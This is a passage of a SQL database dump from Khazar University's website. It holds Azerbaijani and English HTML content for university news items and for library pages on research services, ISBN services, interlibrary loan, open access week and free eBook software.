<br>  <p><strong>Dean:&nbsp;Dr. Hassan Niknafs</strong></p>'),(5977,3415,'az','eiLink təqdiqatçının məqaləsi Thomson Reuters indeksli jurnalda','Xəzər Universiteti eiLink tədqiqatçı İzat Şahsenovun “Modeling of the Cementation Factor and Hydraulic...','<p>Xəzər Universiteti eiLink  tədqiqatçı İzat Şahsenovun “<em>Modeling of the Cementation Factor and Hydraulic permeability using Mercury Injection Capillary Pressure (MICP) Measurements</em>” adlı məqaləsi “Journal of Petroleum Science and Engineering” jurnalının 2018-ci il 171-ci buraxılışında çap edilmişdir. Sözü gedən jurnal Thomson Reuters (SCI Impact Factor: 2,382) kimi təbiət elmləri, sosial və humanitar elmlər sahələri üzrə elmi-analitik informasiya təminatçısı olan dünyanın nüfuzlu təqdiqat platformasında indekslənir.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:&nbsp;</p><p><a href=\"https://www.sciencedirect.com/science/article/pii/S0920410518306910\">https://www.sciencedirect.com/science/article/pii/S0920410518306910</a>.</p>'),(5045,2938,'az','WorldCat','WorldCat',''),(5046,2938,'en','WorldCat','WorldCat',''),(5047,2939,'en','Research and Instruction Services','Research and Instruction Services','<p style=\"text-align:justify\">Khazar University LIC\r\nprovides a full range of services to support faculty research and teaching,\r\nfrom answering complex reference queries to supplying books, journal articles,\r\nand photocopies.</p><p><strong><a href=\"http://www.khazar.org/en/menus/1344/reference_services\">Reference Services</a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/1346/current_awareness\">Current Awareness</a></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/en/menus/1347/acquisitions\">Acquisitions</a></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/en/menus/1348/circulation_and_routing\">Circulation and Routing</a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/1350/research_services\">Research Services</a></strong><strong></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/en/menus/1351/recommended_journal_lists\">Recommended Journal Lists</a></strong></p><p><strong><a href=\"http://library.khazar.org/s148/Recommended-Journal-Lists/en\"></a></strong><a href=\"http://library.khazar.org/s31/Style-Manuals/en\"><strong>S</strong></a><a href=\"http://www.khazar.org/en/menus/1352/style_manuals\"><strong>tyle Manuals</strong></a></p>  <a href=\"http://library.khazar.org/s31/Style-Manuals/en\"></a>'),(5048,2939,'az','Təlim və Tədqiqat Xidmətləri','Təlim və Tədqiqat Xidmətləri','<p style=\"text-align:justify\">Xəzər Universiteti KİM,\r\nfakültə tədqiqat və tədrisini dəstəkləyən məlumat-sorğu məsələlərindən,\r\nkitablar, jurnal məqalələri,<strong>&nbsp;</strong>surətlərin təmin\r\nedilməsinə qədər&nbsp; müxtəlif sahələrdə xidmətləri həyata keçirir.</p><p><strong><a href=\"http://www.khazar.org/az/menus/1344/reference_services\">Məlumat-sorğu\r\nxidmətləri</a></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/en/menus/1345/esas_melumat_bazalari\">Əsas\r\nməlumat bazaları</a></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/az/menus/1346/cari_melumatliliq\">Cari\r\nməlumatlılıq</a></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/1347/acquisitions\">Acquisitions</a></strong><br></p><p><strong></strong><strong><a href=\"http://www.khazar.org/az/menus/1347/komplekleshdirme\">Komplekləşdirmə</a></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/az/menus/1348/circulation_and_routing\">Circulation and Routing</a></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/az/menus/1349/ehtiyat_tedbirleri\">Ehtiyat\r\ntədbirləri</a></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/1351/recommended_journal_lists\">Recommended Journal Lists</a></strong>  <br></p><p><strong></strong><strong><a href=\"http://www.khazar.org/az/menus/1350/tedqiqat_xidmetleri\">Tədqiqat xidmətləri</a></strong></p><p><strong><a href=\"http://library.khazar.org/s31/Style-Manuals/en\"></a></strong><strong><a href=\"http://www.khazar.org/az/menus/1352/style_manuals\">Style Manuals</a></strong></p>'),(6313,3591,'az','Riyaziyyat departamentinin əməkdaşlarının məqaləsi çap olundu','Xəzər Universiteti Riyaziyyat departamentinin əməkdaşlarının 2018/2019-cu tədris ilinin...','<p>Xəzər Universiteti Riyaziyyat departamentinin əməkdaşlarının 2018/2019-cu tədris ilinin ilk iki ayı ərzində 5 məqaləsi universitetin adından xarici impakt faktorlu elmi jurnallarda çapa qəbul edilmişdir. Bunlar aşağıdakılardır:</p><p>1. N. B. Kerimov, E.A. Maris, On the Uniform Convergence of Fourier Series Expansions for Sturm–Liouville Problems with a Spectral Parameter in the Boundary Conditions, Results in mathematics, 73:102, 2018;&nbsp;</p><p>2. A.Hazanee, D.Lesnic, M.I.Ismailov, N.B.Kerimov, Inverse time-dependent source problem for the heat equation with nonlocal boundary conditions, Applied Mathematics and Computation, 2018 (in press);</p><p>3. Н. Б. Керимов, О базисных свойствах в L<sub>p</sub>&nbsp;оператора Штурма-Лиувилля со спектральным параметром в граничных условиях, Дифференциальные уравнения, 2018 (in press);</p><p>4. Deniz N. Bozkurt ve Ilmar Gahramanov, Pentagon identities arising in supersymmetric gauge theory computations, Theoretical and Mathematical Physics, 2018 (In press);</p><p>5. Ilmar Gahramanov ve Shahriyar Jafarzade, Integrable lattice spin models from supersymmetric dualities, Physics of Particles and Nuclei Letters, 2018,&nbsp;Vol.15, No.6, pp.650-667.  </p><p>Qeyd edək ki, 2017/2018-ci tədris ilində Riyaziyyat Departamentinin əməkdaşlarının impakt faktorlu jurnallarda çap edilmiş məqalələrinin ümümi sayı 9 olmuşdur.</p>'),(5049,2940,'az',' Xüsusi Xidmətlər',' Xüsusi Xidmətlər','<p>KİM aşağıdakı ISBN və ISMN xidmətlərini təmin edir:</p>\r\n<p></p><ul><li>Naşirlərin tələblərinə&nbsp;müvafiq olaraq, Nəşrdə Kataloqlaşdırma (CIP) da daxil olmaqla, onları\r\nlazımi informasiya ilə təmin etmək</li><li>Çap olunmuş kitabların (qeydiyyatdan keçmiş) milli\r\nbiblioqrafik məlumat bazasını yaratmaq</li><li>ISBN və ISMN nəşrlərinin məlumat bazalarını idarə etmək</li><li>Naşrlərin təyin olunmuş prefiks və başlıq saylarının\r\nhesabatını aparmaq</li></ul><p></p>\r\n<p>KİM ISBN sistemi tətbiq ediləndən bu günə kimi&nbsp;ölkəmizdə nəşr olunan materiallardakı ISBN\r\nhaqqında biblioqrafik informasiyanın Nəşrlər Məlumat bazasını və Azərbaycan Nəşriyyatlarının\r\nNəşriyyatların Beynəlxalq İSBN məlumat kitabının İdxal/İxrac formatında&nbsp;illik hesabatını hazırlayır.</p>\r\n<p>KİM mütəxəssisləri sayəsində ölkəmizdə nəşr olunan\r\nmateriallara dünya standartlarına uyğun biblioqrafik təsfir yaradılır (Düi\r\nonluq təsnifatı, mövzu başlığı).</p>'),(5050,2940,'en','Special Services','Special Services','<p>LIC\r\nprovides the following ISBN and ISMN services:</p>\r\n<p></p><ul><li>Support for providing information on related\r\nresources, which publishers may require, including Cataloguing in Publication\r\n(CIP)</li><li>Build\r\nnational bibliographic database of all (registered) Books in Print&nbsp;</li><li>Manage\r\nISBN and ISMN publication databases</li><li>Accounting\r\nthe titles of assigned publishers prefix and title numbers</li></ul><p></p>\r\n<p>LIC\r\nprepares the Azerbaijan Publisher in Import/Export format for annual editions\r\nof the Publishers’ International ISBN Directory and Publication Database of the\r\nbibliographic information for material regarding ISBN that has been published\r\nin our country since the introduction of the ISBN system.</p>\r\n<p>Due\r\nto specialists of LIC the work is carried out for the creation of the\r\nbibliographic descriptions of issues published in our country according to\r\ninternational rules (index DDC, subject headings).</p>'),(5051,2941,'en','Interlibrary Loan Service','Interlibrary Loan Service','<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Books and journals, which are\r\nrequired for teaching or research but are not held in the library, may be\r\nborrowed on interlibrary loan from another participating library. LIC maintain,\r\nand make available to our users an interlibrary borrowing policy.</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Submit a request</strong>&nbsp;</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;line-height:normal\"\"=\"\"></p><ul><li>All current\r\nstudents, faculty and staff should submit the appropriate Request Form.</li><li><strong>Document</strong>:\r\nA photocopy, such as a journal, newspaper, or magazine article, map, or\r\nconference paper</li><li><strong>Loan:</strong>&nbsp;A\r\nloan of a physical item, such as a book, entire conference proceeding, map, CD,\r\nDVD, VHS,</li><li><strong>Book\r\nChapter:</strong>&nbsp;A copy of a chapter from a book or anthology.</li><li><strong>Thesis:</strong>&nbsp;A\r\nloan of a thesis or dissertation.</li></ul><p></p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:#e9e9eb\"\"=\"\"><strong><br></strong></p><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:#e9e9eb\"\"=\"\"><strong>Please Note:</strong>&nbsp;If\r\nthe item is owned by the Khazar Library and Information Center but cannot be\r\nfound on the shelves, please enter a note indicating that it could not be found\r\nin the&nbsp;<strong>Notes</strong>&nbsp;field.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;line-height:normal\"\"=\"\">Once you have submitted the request, it is sent to be\r\nprocessed. We will notify you by email once your request is filled.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;line-height:normal\"\"=\"\"><strong>Canceled requests</strong></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;line-height:normal\"\"=\"\">Typically, an ILL request is canceled for one of the\r\nfollowing reasons:</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:#e9e9eb\"\"=\"\"></p><ul><li>The item is owned\r\nby the Khazar University Library &amp; Information Center</li><li>The item\r\ncannot be found as cited</li><li>The item is\r\nnon-circulating or currently in use</li><li>We cannot\r\nlocate a library which owns the item</li><li>The item is\r\ntoo new and has not been cataloged by a library, or has not yet been published&nbsp;</li></ul><p></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;line-height:normal\"\"=\"\">If the reason for cancellation can be corrected, please\r\nfollow the instructions provided in the cancellation message.&nbsp;For all\r\nother inquiries regarding cancelled requests, please&nbsp;contact\r\nus.</p>'),(5052,2941,'az',' Kitabxanalararası Mübadilə Xidməti',' Kitabxanalararası Mübadilə Xidməti','<p style=\"text-align:justify\">Tədris və ya tədqiqat məqsədi\r\nilə lazım olan kitab və ya jurnallar kitabxanamızda olmadığı təqdirdə\r\nkitabxanalararası mübadilə proqramına əsasən əmkdaşlıq etdiyimiz digər\r\nkitabxanalardan müvəqqəti olaraq əldə edilir. KİM istifadəçiləri üçün\r\nkitabxanalararası mübadilə siyasətini qoruyaraq, hər zaman ondan yararlanmaq\r\nimkanı yaradır</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Sorğu yerləşdirmək</strong>&nbsp;</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\"></p><ul><li>Bütün tələbə, müəllim\r\nvə əməkdaşlar düzgün sorğu forması təqdim etməlidir.</li><li><strong>Sənəd:&nbsp;</strong>əslindən surəti çıxarılmış, bura jurnal,\r\nqəzet, məqalə, xəritə və ya konfrans materialı aiddir</li><li><strong>Müvəqqəti əldə etmək:</strong>&nbsp;müvəqqəti əldə edilmiş mənbələrə kitab,\r\nkonfrans materialı, xəritə, CD, DVD, VHS aiddir</li><li><strong>Kitabdan fəsil:</strong>&nbsp;kitab və ya antologiyadan fəsilin surəti</li><li><strong>Tezis:</strong>&nbsp;tezis və ya&nbsp;dissertasiyanın\r\nmüvəqqəti olaraq götürülməsi</li></ul><p></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Qeyd:</strong> Xəzər\r\nUniversiteti Kitabxana İnformasiya Mərkəzinə aid mənbə rəfdə tapılmadıqda, bu\r\nbarədə qeyd bölməsində sorğu yerləşdirilir. Sorğu yerləşdirildikdən sonra nəzərdən\r\nkeçirilərək,&nbsp;cavabı müraciət edənin\r\ne-poçtuna göndərilir.<o:p></o:p></p><p style=\"text-align:justify\"><strong>Sorğunun ləğv edilməsi</strong></p>\r\n<p style=\"text-align:justify\">Sorğu aşağıda göstərilən səbəblərdən biri üzrə ləğv edilə\r\nbilər:</p>\r\n<p style=\"text-align:justify\"></p><ul><li>Bu mənbə Xəzər Universiteti KİM aid olduqda</li><li>Mənbəyə isnad tapılmadığı halda</li><li>Tələb olunan mənbə istifadə edildikdə və ya abonementdə\r\nolmadıqda</li><li>Mənbə heç bir kitabxanada tapılmadıqda</li><li>Mənbə yeni olduqda və kitabxana tərəfindən\r\nkataloqlaşdırılmadıqda və ya çap edilmədiyi təqdirdə</li></ul><p></p>\r\n<p style=\"text-align:justify\">Əgər ləğv etmə sənədinə düzəliş etmək lazımdırsa, bunu\r\nmüraciətinizdə qeyd edin. Ləğv etmə ilə bağlı digər suallar üzrə bizimlə əlaqə\r\nsaxlayın.</p>'),(5853,3353,'az','“Xəzər Xəbər” jurnalının iyun nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2018-ci il iyun nömrəsi...','<p>“Xəzər Xəbər” jurnalının 2018-ci il iyun nömrəsi (374-cü nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz:</p><p><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(5219,3028,'az','“Xəzər Universitetinin Dostları Fondu”nun təsis yığıncağı keçirildi','2018-ci il martın 9-da Xəzər Universiteti Məzunlar Assosiasiyası və universitetin Məzunlarla...','<p>2018-ci il martın 9-da Xəzər Universiteti Məzunlar Assosiasiyası və universitetin Məzunlarla İş Mərkəzinin birgə təşkilatçılığı ilə “Xəzər Universitetinin Dostları Fondu”nun təsis yığıncağı keçirildi. Məzunlarla İş Mərkəzinin müdiri Baba Bayramlı təsis olunacaq fondun məqsəd və vəzifələri, hüquqları və fəaliyyət istiqamətləri barədə yığıncaq iştirakçılarına məlumat verdi. Fondun Nizamnaməsi müzakirə olunaraq təsdiq edildi. İştirakçılar açıq səsvermə yolu ilə fondun nəzarət orqanı olan Himayəçilər Şurasının üzvlərini seçdilər. BP neft şirkətinin Avropa üzrə Strategiya və İnkişaf direktoru Xalıq Dadaşov Himayəçilər Şurasının sədri, ADA Universiteti Rektor aparatının rəhbəri Şəfəq Mehrəliyeva şuranın sədr müavini və Xəzər Universiteti Jurnalistika departamentinin koordinatoru Cabir Məmmədli şuranın katibi seçildilər. Himayəçilər Şurası üzvlərinin yekdil qərarı ilə Kapital Bankın Baş Ofisinin aparıcı eksperti Ramal Əhmədov fondun prezidenti, Xəzər Universitetinin İnkişaf Mərkəzinin direktoru Raziyə İsayeva fondun vitse-prezidenti seçildilər.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı yığıncaqda çıxış edərək, “Xəzər Universitetinin Dostları Fondu”nun yaradılmasının mühüm bir hadisə olduğunu bildirdi və fondun fəaliyyətində uğurlar arzuladı.</p>'),(5053,2942,'en','Open Access Activities @ Khazar University','Open Access Activities @ Khazar University','<a href=\"http://www.openaccessweek.org/\"><img src=\"/files/library/openaccess.JPG\" style=\"width:329px;height:103px\"></a> <div style=\"text-align:justify\"><br></div><p style=\"text-align:justify\">Khazar\r\nUniversity Library and Information Center (LIC) has been participating in Open\r\nAccess Week during last some years. The main our activities were presentations,\r\npublications, translations key OA documents from English into Azeri.</p>\r\n<p style=\"text-align:justify\">In 2011 year&nbsp;<a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1355/1/ELMI%20V%c6%8f%20HUMANITAR%20BILIY%c6%8f%20A%c3%87IQ%20GIRI%c5%9e%20HAQQINDA%20BERLIN%20B%c6%8fYANNAM%c6%8fSI.pdf\"><strong>Translation the Berlin\r\nDeclaration on Open Access from English into Azeri</strong></a>&nbsp;by\r\nKhazar University staff helped academic institutions, research funding\r\nagencies, libraries in Azerbaijan to more clearly understand the advantages of\r\nworldwide free and unrestricted open access to scientific research.</p>\r\n<p style=\"text-align:justify\">This year a special attention will be paid to series\r\nworkshops&nbsp; devoted&nbsp; encouraging Khazar University academic community\r\nto publish their work according to the principles of the open access;\r\ndeveloping&nbsp;<a href=\"http://jas-khazar.org/\"><strong>Khazar Journal of Humanities and Social Sciences</strong></a>&nbsp;&nbsp;and\r\nother university open access online-journals in order to maintain the standards\r\nof quality assurance and good scientific practice; developing open access&nbsp;<a href=\"http://dspace.khazar.org/\"><strong>Khazar University Institutional Repository</strong></a>&nbsp;(KUIR).</p>\r\n<p style=\"text-align:justify\">Khazar University academic staff publications are either to be\r\ndeposited in the KUIR, or to be published in the Khazar open access journals.\r\nMeanwhile, the advantages of worldwide free and unrestricted access to\r\nscientific research are beyond controversy. For researchers, using open access\r\nmaximises their research impact, increases their visibility and raises their\r\nreputation. Users are benefiting from open access as well: they can access\r\nrelevant information on the Web worldwide at any time.</p>\r\n<p style=\"text-align:justify\">Discussions and presentations of the creation and establishment\r\nworking models of Open Access journals and institutional repositories for the\r\nacademic and library community will be held at the Khazar University Library\r\nand Information Center in October, 2012 during Open Access Week.</p>\r\n<p style=\"text-align:justify\">One of the presentations will be concentrate on the first annual\r\ninternational “Award for Open Access,” which supports scientists and publishers\r\nin developing nations in order to improve open access to research publications.\r\nWe will provide information about three nominees receiving an honorary\r\ncertificate for their contributions to open access, including the director of\r\nKhazar University’s Library and Information Center, Tatyana Zaytseva. It is the\r\nfirst award for Open Access in Azerbaijan.</p>\r\n<p style=\"text-align:justify\">We would like to thank all of those who got involved in Open\r\nAccess Week 2012 build up.&nbsp;</p>'),(5222,3029,'en','Next workshop of PhD and Master’s Students Union','On March 9, 2018, PhD and Master’s Students Union organized another workshop on...','<p>On March 9, 2018, PhD and Master’s Students Union organized another workshop on “Research Methods in Humanities”. Malak Karimova, Director of Psychological Service Centre of Khazar University, made a presentation on qualitative and quantitative research methods, shared her experience with the participants, and answered the questions.</p>'),(5054,2942,'az','Open Access Activities @ Khazar University','Open Access Activities @ Khazar University','<a href=\"http://www.openaccessweek.org/\"><img src=\"/files/library/openaccess.JPG\" style=\"width:329px;height:103px\"></a> <div style=\"text-align:justify\"><br></div><p style=\"text-align:justify\">Khazar\r\nUniversity Library and Information Center (LIC) has been participating in Open\r\nAccess Week during last some years. The main our activities were presentations,\r\npublications, translations key OA documents from English into Azeri.</p>\r\n<p style=\"text-align:justify\">In 2011 year&nbsp;<a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1355/1/ELMI%20V%c6%8f%20HUMANITAR%20BILIY%c6%8f%20A%c3%87IQ%20GIRI%c5%9e%20HAQQINDA%20BERLIN%20B%c6%8fYANNAM%c6%8fSI.pdf\"><strong>Translation the Berlin\r\nDeclaration on Open Access from English into Azeri</strong></a>&nbsp;by\r\nKhazar University staff helped academic institutions, research funding\r\nagencies, libraries in Azerbaijan to more clearly understand the advantages of\r\nworldwide free and unrestricted open access to scientific research.</p>\r\n<p style=\"text-align:justify\">This year a special attention will be paid to series\r\nworkshops&nbsp; devoted&nbsp; encouraging Khazar University academic community\r\nto publish their work according to the principles of the open access;\r\ndeveloping&nbsp;<a href=\"http://jas-khazar.org/\"><strong>Khazar Journal of Humanities and Social Sciences</strong></a>&nbsp;&nbsp;and\r\nother university open access online-journals in order to maintain the standards\r\nof quality assurance and good scientific practice; developing open access&nbsp;<a href=\"http://dspace.khazar.org/\"><strong>Khazar University Institutional Repository</strong></a>&nbsp;(KUIR).</p>\r\n<p style=\"text-align:justify\">Khazar University academic staff publications are either to be\r\ndeposited in the KUIR, or to be published in the Khazar open access journals.\r\nMeanwhile, the advantages of worldwide free and unrestricted access to\r\nscientific research are beyond controversy. For researchers, using open access\r\nmaximises their research impact, increases their visibility and raises their\r\nreputation. Users are benefiting from open access as well: they can access\r\nrelevant information on the Web worldwide at any time.</p>\r\n<p style=\"text-align:justify\">Discussions and presentations of the creation and establishment\r\nworking models of Open Access journals and institutional repositories for the\r\nacademic and library community will be held at the Khazar University Library\r\nand Information Center in October, 2012 during Open Access Week.</p>\r\n<p style=\"text-align:justify\">One of the presentations will be concentrate on the first annual\r\ninternational “Award for Open Access,” which supports scientists and publishers\r\nin developing nations in order to improve open access to research publications.\r\nWe will provide information about three nominees receiving an honorary\r\ncertificate for their contributions to open access, including the director of\r\nKhazar University’s Library and Information Center, Tatyana Zaytseva. It is the\r\nfirst award for Open Access in Azerbaijan.</p>\r\n<p style=\"text-align:justify\">We would like to thank all of those who got involved in Open\r\nAccess Week 2012 build up.&nbsp;</p>'),(5055,2943,'az','Free eBook Software','Free eBook Software','<p style=\"text-align:justify\"><a href=\"http://bookworm.oreilly.com/\"><strong>Bookworn</strong></a>&nbsp;<strong>–&nbsp;</strong>Online\r\neBook reader which also allows you to create your own uploadable library of\r\nePub books<strong>.</strong></p><p style=\"text-align:justify\"><strong></strong><a href=\"http://www.calibre-ebook.com/\"><strong>Calibre</strong></a>&nbsp;<strong>–&nbsp;</strong>Freeware,\r\nopen source ePub reader and library manager for Linux, Windows and MAC. It has\r\nmany features including eBook format conversion, search eBooks, etc.</p><p style=\"text-align:justify\"><a href=\"http://googleads.g.doubleclick.net/aclk?sa=L&amp;ai=Br6hxHOXATfTvJZDf_AathqWBAuXEydUB9bfP2hnAjbcBoP4KEAMYAyDjh4ANKAQ4AFCWmOyx-_____8BYKC4PrIBEXd3dy5tYWtldXNlb2YuY29tugEKMzM2eDI4MF9qc8gBAdoBQWh0dHA6Ly93d3cubWFrZXVzZW9mLmNvbS90YWcvdGhlLWJlc3QtNi1zaXRlcy10by1nZXQtZnJlZS1lYm9va3MvgAIBqQKONXw7JN24PsgC9emnFKgDAegD4AToAxb1AwAAAEQ&amp;num=3&amp;sig=AGiWqtyRq2hKgsWaNA0RyHkivVSWs7BLwg&amp;client=ca-pub-5700237260308472&amp;adurl=http://www.digibooks4all.com\"><strong>Create\r\nyour e-bookstore</strong></a>&nbsp;<a href=\"http://googleads.g.doubleclick.net/aclk?sa=L&amp;ai=Br6hxHOXATfTvJZDf_AathqWBAuXEydUB9bfP2hnAjbcBoP4KEAMYAyDjh4ANKAQ4AFCWmOyx-_____8BYKC4PrIBEXd3dy5tYWtldXNlb2YuY29tugEKMzM2eDI4MF9qc8gBAdoBQWh0dHA6Ly93d3cubWFrZXVzZW9mLmNvbS90YWcvdGhlLWJlc3QtNi1zaXRlcy10by1nZXQtZnJlZS1lYm9va3MvgAIBqQKONXw7JN24PsgC9emnFKgDAegD4AToAxb1AwAAAEQ&amp;num=3&amp;sig=AGiWqtyRq2hKgsWaNA0RyHkivVSWs7BLwg&amp;client=ca-pub-5700237260308472&amp;adurl=http://www.digibooks4all.com\"><strong>www.digibooks4all.com</strong></a>&nbsp;<strong>–&nbsp;</strong>No\r\ninvestment. Pay as you sell.&nbsp;Sell your ebooks on any device.</p><p style=\"text-align:justify\"><a href=\"http://www.adobe.com/products/digitaleditions/\"><strong>Digital Editions</strong></a>&nbsp;<strong>–&nbsp;&nbsp;</strong>Free\r\nePub reader from Adobe. Runs on Mac and Windows.</p><p style=\"text-align:justify\"><a href=\"http://www.epubread.com/en/\"><strong>ePubReader</strong></a><strong>&nbsp;–&nbsp;&nbsp;</strong>A\r\nfree plugin for Firefox which enables you to read ePub books. For Linux,\r\nWindows and MAC.</p><p style=\"text-align:justify\"><a href=\"http://www.fbreader.org/\"><strong>FBReader&nbsp;</strong></a><strong>–&nbsp;</strong>Freeware\r\nePub reader for Linux, Windows, MAC, Maemo, FreeBSD, Android and a number of\r\nother platforms.</p><p style=\"text-align:justify\"><a href=\"http://www.foxitsoftware.com/pdf/rd_intro.php\"><strong>Foxit Reader</strong></a><strong>&nbsp;\r\n–&nbsp;</strong>Free PDF reader for Windows.</p><p style=\"text-align:justify\">\r\n<a href=\"http://googleads.g.doubleclick.net/aclk?sa=L&amp;ai=BfIepHOXATfTvJZDf_AathqWBAvix8o8Bgu78wRDAjbcBgMVmEAIYAiDjh4ANKAQ4AFC4saS6BWCguD6yARF3d3cubWFrZXVzZW9mLmNvbboBCjMzNngyODBfanPIAQHaAUFodHRwOi8vd3d3Lm1ha2V1c2VvZi5jb20vdGFnL3RoZS1iZXN0LTYtc2l0ZXMtdG8tZ2V0LWZyZWUtZWJvb2tzL6kCZP_3giufYz7IArbbqBWoAwHoA-AE6AMW9QMAAABE&amp;num=2&amp;sig=AGiWqtyo8Cicu6WGbj_inCAOpUTxhnV-Ew&amp;client=ca-pub-5700237260308472&amp;adurl=http://alfaebooks.com\"><strong>Ebook\r\nLibrary Software</strong></a>&nbsp;<a href=\"http://googleads.g.doubleclick.net/aclk?sa=L&amp;ai=BfIepHOXATfTvJZDf_AathqWBAvix8o8Bgu78wRDAjbcBgMVmEAIYAiDjh4ANKAQ4AFC4saS6BWCguD6yARF3d3cubWFrZXVzZW9mLmNvbboBCjMzNngyODBfanPIAQHaAUFodHRwOi8vd3d3Lm1ha2V1c2VvZi5jb20vdGFnL3RoZS1iZXN0LTYtc2l0ZXMtdG8tZ2V0LWZyZWUtZWJvb2tzL6kCZP_3giufYz7IArbbqBWoAwHoA-AE6AMW9QMAAABE&amp;num=2&amp;sig=AGiWqtyo8Cicu6WGbj_inCAOpUTxhnV-Ew&amp;client=ca-pub-5700237260308472&amp;adurl=http://alfaebooks.com\"><strong>alfaebooks.com</strong></a><strong>&nbsp;–&nbsp;</strong>Easy\r\nand powerful program for&nbsp;E-Book library management<strong>.</strong></p><p style=\"text-align:justify\"><strong></strong><a href=\"http://www.lucidor.org/lucidor/\"><strong>Lucidor</strong></a><strong>&nbsp;–&nbsp;</strong>Freeware\r\nePub reader for Linux, Windows and MAC.</p><p style=\"text-align:justify\"><a href=\"http://www.mobipocket.com/en/DownloadSoft/ProductDetailsReader.asp\"><strong>MobiPocket</strong></a><strong>&nbsp;–&nbsp;</strong>Free\r\nePub reader for Windows, Blackberry, Epoc, HPC, Palm, Windows Mobile, Nokia and\r\nmore.</p><p style=\"text-align:justify\"><a href=\"http://www.treepad.com/treepadviewer/\"><strong>TreePad Viewer</strong></a><strong>&nbsp;–&nbsp;</strong>Free\r\nePub reader for Windows (a Linux and MAC version is on the way as well). uRead\r\nhas a Chinese and an English version<strong>.</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>Free Ebooks For Your iPod, PDA, Smartphone, Blackberry etc.&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong><a href=\"http://www.gutenberg.org/\">www.gutenberg.org</a></strong></p><p style=\"text-align:justify\"><strong><a href=\"http://www.gutenberg.org/\"></a></strong><a href=\"http://www.manybooks.net/\"><strong>www.manybooks.net</strong></a>&nbsp;<strong><a href=\"http://www.makeuseof.com/dir/manybooks-free-ebooks-pda-ipod-ebook-reader/\">(Make\r\nUse of Review)</a></strong></p><p style=\"text-align:justify\"><strong><a href=\"http://www.makeuseof.com/dir/manybooks-free-ebooks-pda-ipod-ebook-reader/\"></a></strong><a href=\"http://www.feedbooks.com/\"><strong>www.feedbooks.com</strong></a>&nbsp;<strong><a href=\"http://www.makeuseof.com/dir/feedbooks/\">(Make Use of Review)</a></strong></p><p style=\"text-align:justify\"><strong><a href=\"http://www.makeuseof.com/dir/feedbooks/\"></a></strong><a href=\"http://www.booksinmyphone.com/\"><strong>www.booksinmyphone.com</strong></a>&nbsp;<strong><a href=\"https://www.makeuseof.com/tags/longform-guide/\">(Make Use of Review)</a></strong></p>'),(5056,2943,'en','Free eBook Software','Free eBook Software','<p style=\"text-align:justify\"><a href=\"http://bookworm.oreilly.com/\"><strong>Bookworn</strong></a>&nbsp;<strong>–&nbsp;</strong>Online\r\neBook reader which also allows you to create your own uploadable library of\r\nePub books<strong>.</strong></p><p style=\"text-align:justify\"><strong></strong><a href=\"http://www.calibre-ebook.com/\"><strong>Calibre</strong></a>&nbsp;<strong>–&nbsp;</strong>Freeware,\r\nopen source ePub reader and library manager for Linux, Windows and MAC. It has\r\nmany features including eBook format conversion, search eBooks, etc.</p><p style=\"text-align:justify\"><a href=\"http://googleads.g.doubleclick.net/aclk?sa=L&amp;ai=Br6hxHOXATfTvJZDf_AathqWBAuXEydUB9bfP2hnAjbcBoP4KEAMYAyDjh4ANKAQ4AFCWmOyx-_____8BYKC4PrIBEXd3dy5tYWtldXNlb2YuY29tugEKMzM2eDI4MF9qc8gBAdoBQWh0dHA6Ly93d3cubWFrZXVzZW9mLmNvbS90YWcvdGhlLWJlc3QtNi1zaXRlcy10by1nZXQtZnJlZS1lYm9va3MvgAIBqQKONXw7JN24PsgC9emnFKgDAegD4AToAxb1AwAAAEQ&amp;num=3&amp;sig=AGiWqtyRq2hKgsWaNA0RyHkivVSWs7BLwg&amp;client=ca-pub-5700237260308472&amp;adurl=http://www.digibooks4all.com\"><strong>Create\r\nyour e-bookstore</strong></a>&nbsp;<a 